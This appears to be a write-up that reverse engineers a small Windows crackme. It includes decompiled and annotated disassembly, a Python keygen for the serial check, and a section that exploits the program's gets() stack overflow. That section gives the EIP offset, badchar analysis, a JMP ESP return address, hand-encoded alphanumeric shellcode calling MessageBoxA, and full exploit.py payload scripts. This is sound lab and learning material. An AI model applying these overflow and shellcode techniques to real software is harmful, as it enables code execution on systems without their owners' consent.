Buggy crackme with a buggy solution
Scan with DIE
:
static Load the binary with ghidra
, find the reference to function _gets
:
partial.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 _printf(s_Created_by:_xtFusion_Crackme : _K1_00402000); _printf("Name: " ); _gets(name); _printf("Serial: " ); _gets(serial); i = 0 ; name_len = _strlen(name); while (i < name_len){ local_18 += (int )name[i] * 0x50 ; local_1c = local_18 + local_1c ^ 0x32 ; local_20 += local_1c * 4 ; local_24 = local_1c + local_20 + local_18; i++; } _wsprintfA(result, "%x" , local_24); check = 0 ; i = 0 ; serial_len = _strlen(serial); while (i < serial_len){ if (result[i] != serial[i]) { check = 1 ; } i++; } if (check != 1 ){ _printf("\nCorect, now make a keygen\n" ); }
But I’m confused by the uninitialized variables: local_18, local_1c, local_20.
dynamic Debug with r2
, the first while loop which calculate the right serial:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 0x00401300 mov dword [ebp - 0xc], 0 ; [ebp - 0xc] = 0 ; [ebp - 0xc]: variable i .-> 0x00401307 lea eax, [ebp - 0x68] ; eax = ebp - 0x68 : ; eax = address of variable name : 0x0040130a mov dword [esp], eax ; [esp] = eax : ; like push eax on the top of the stack, but in place : 0x0040130d call sym._strlen ; eax = length of [ebp - 0x68] : 0x00401312 cmp dword [ebp - 0xc], eax ,==< 0x00401315 jae 0x401362 ; if [ebp - 0xc] >= eax, jmp 0x401362 |: |: 0x00401317 lea eax, [ebp - 8] ; eax = ebp - 8 |: 0x0040131a add eax, dword [ebp - 0xc] ; eax += [ebp - 0xc] |: ; eax += i |: 0x0040131d sub eax, 0x60 ; eax -= 0x60 |: 0x00401320 movsx edx, byte [eax] ; edx = byte [eax] |: 0x00401323 mov eax, edx ; eax = edx |: ; eax = ord(char of name) |: ; edx = ord(char of name) |: |: 0x00401325 shl eax, 2 ; eax *= 4 |: 0x00401328 add eax, edx ; eax += edx |: ; eax *= 5 |: 0x0040132a mov edx, eax ; edx = eax |: 0x0040132c shl edx, 4 ; edx *= 16 |: ; edx = ord(char of name) * 80 |: |: 0x0040132f lea eax, [ebp - 0x14] ; eax = ebp - 0x14 |: 0x00401332 add dword [eax], edx ; [eax] += edx |: 0x00401334 mov eax, dword [ebp - 0x14] ; eax = [ebp - 0x14] |: 0x00401337 add eax, dword [ebp - 0x18] ; eax += [ebp - 0x18] |: ; eax = [ebp - 0x14] + [ebp - 0x18] |: 0x0040133a xor eax, 0x32 ; eax ^= 0x32 |: |: 0x0040133d mov dword [ebp - 0x18], eax ; [ebp - 0x18] = eax |: 0x00401340 mov eax, dword [ebp - 0x18] ; eax = [ebp - 0x18] |: |: 0x00401343 lea edx, [eax*4] ; edx = eax * 4 |: 0x0040134a lea eax, [ebp - 0x1c] ; eax = ebp - 0x1c |: 0x0040134d add dword [eax], edx ; [eax] += edx |: 0x0040134f mov eax, dword [ebp - 0x18] ; eax = [ebp - 0x18] |: 0x00401352 add eax, dword [ebp - 0x1c] ; eax += [ebp - 0x1c] |: 0x00401355 add eax, dword [ebp - 0x14] ; eax += [ebp - 0x14] |: 0x00401358 mov dword [ebp - 0x20], eax ; [ebp - 0x20] = eax |: 0x0040135b lea eax, [ebp - 0xc] ; eax = ebp - 0xc |: ; eax = address of i |: 0x0040135e inc dword [eax] ; i += 1 |`=< 0x00401360 jmp 0x4013b5 `--> 0x00401362 mov eax, dword [ebp - 0x20] ; eax = [ebp - 0x20] 0x00401365 mov dword [esp + 8], eax 0x00401369 mov dword [esp + 4], 0x403010 0x00401371 lea eax, [ebp - 0x48] 0x00401374 mov dword [esp], eax 0x00401377 call sym._wsprintfA
Set a breakpoint at wsprintfA
:
Or set a breakpoint at cmp al, byte [edx]
in the second loop:
Decode with xxd
:
proof As shown above in the decompiled codes, the allowed length of serial is [1, name_len]:
This may also works:
Patched version with initialized variables (all set to 0), which comes from the original solution :
keygen The fastest way:
name whatever
serial enter
The intended way:
keygen.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import syslocal_14 = 0x3c local_18 = 0x60ff58 local_1c = 0x401220 if len(sys.argv) != 2 : print("usage: {} name" .format(sys.argv[0 ]), file=sys.stderr) exit(1 ) name = sys.argv[1 ] length = len(name) for i in range(0 , length): local_14 = local_14 + 80 * ord(name[i]) local_18 = (local_14 + local_18) ^ 0x32 local_1c = local_18 * 4 + local_1c local_20 = local_14 + local_18 + local_1c print("{:x}" .format(local_20))
Length between 1 to len(serial) should be fine.
pwn As shown above in the decompile section, there’re two gets
in the program.
Here I use x32dbg
instead, since Immunity Debugger
doesn’t show all processes even if under administrator privileges.
Plugin klks/checksec :
stack 200 length of ‘a’:
Offset 140:
Control EIP:
Redirect stdin/stdout to port 8000 to transfer unprintable bytes:
1 .\nc.exe -nvlp 8000 | .\xtfK1.exe
Badchars:
After removing \x00\x0a\x0d\x1a
:
The address of JMP ESP
contains badchars:
Maybe I can guess the ASLR-enabled addresses by brute forcing, since the program is 32-bit.
Load the program in Windows XP SP3:
Control EIP:
Not too much memory spaces:
exploit.py 1 2 3 4 5 payload = "A" * 140 payload += "\x7c\x22\x48\x7e" payload += "C" * 80 print payload
Popup a window using MessageBoxA
:
The original assembly:
MessageBoxA 1 2 3 4 5 6 7 8 push eax ; '\0' push 0x646e770 mov ecx, esp ; address of 'pwnd' push eax ; 0 push ecx ; address of 'pwnd' push eax ; 0 push eax ; 0 call 0x7e4507ea ; MessageBoxA
Alphanumeric encoded shellcode by hand:
Add/sub to encode call 0x7e4507ea
:
shellcode.asm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 push eax ; eax should be 0 now push 0x646E7770 ; 'pwnd' push esp pop ecx ; address of 'pwnd' push esp pop eax push esp pop edx ; address of 'pwnd', backup for later use sub eax,0x55555521 ; only `sub eax, xxx` is allowed for Alphanumeric shellcode sub eax,0x55555421 sub eax,0x55555648 push eax pop esp push 0x7E and eax,0x554E4D4A and eax,0x2A313235 sub eax,0x55555555 sub eax,0x55555555 sub eax,0x334D556E ; encode intruction e8070822 push eax ; write to memory on the fly push edx pop esp push esi ; 0, esi should be 0 now push ecx ; address of string 'pwnd', 4 bytes to save life push esi ; 0 push esi ; 0 jne 0x22FFE6 ; jump to the generated instruction `call USER32.MessageBoxA`
exploit.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 payload = "A" * 140 payload += "\x7c\x22\x48\x7e" payload += "\x50" payload += "\x68\x70\x77\x6e\x64" payload += "\x54" payload += "\x59" payload += "\x54" payload += "\x58" payload += "\x54" payload += "\x5a" payload += "\x2d\x21\x55\x55\x55" payload += "\x2d\x21\x54\x55\x55" payload += "\x2d\x48\x56\x55\x55" payload += "\x50" payload += "\x5c" payload += "\x6a\x7e" payload += "\x25\x4a\x4d\x4e\x55" payload += "\x25\x35\x32\x31\x2a" payload += "\x2d\x55\x55\x55\x55" payload += "\x2d\x55\x55\x55\x55" payload += "\x2d\x6e\x55\x4d\x33" payload += "\x50" payload += "\x52" payload += "\x5c" payload += "\x56" payload += "\x51" payload += "\x56" payload += "\x56" payload += "\x75\x25" payload += "C" * 15 print(payload)
But the window only pops up in debugger:
seh Offset 212 with more than 800 bytes: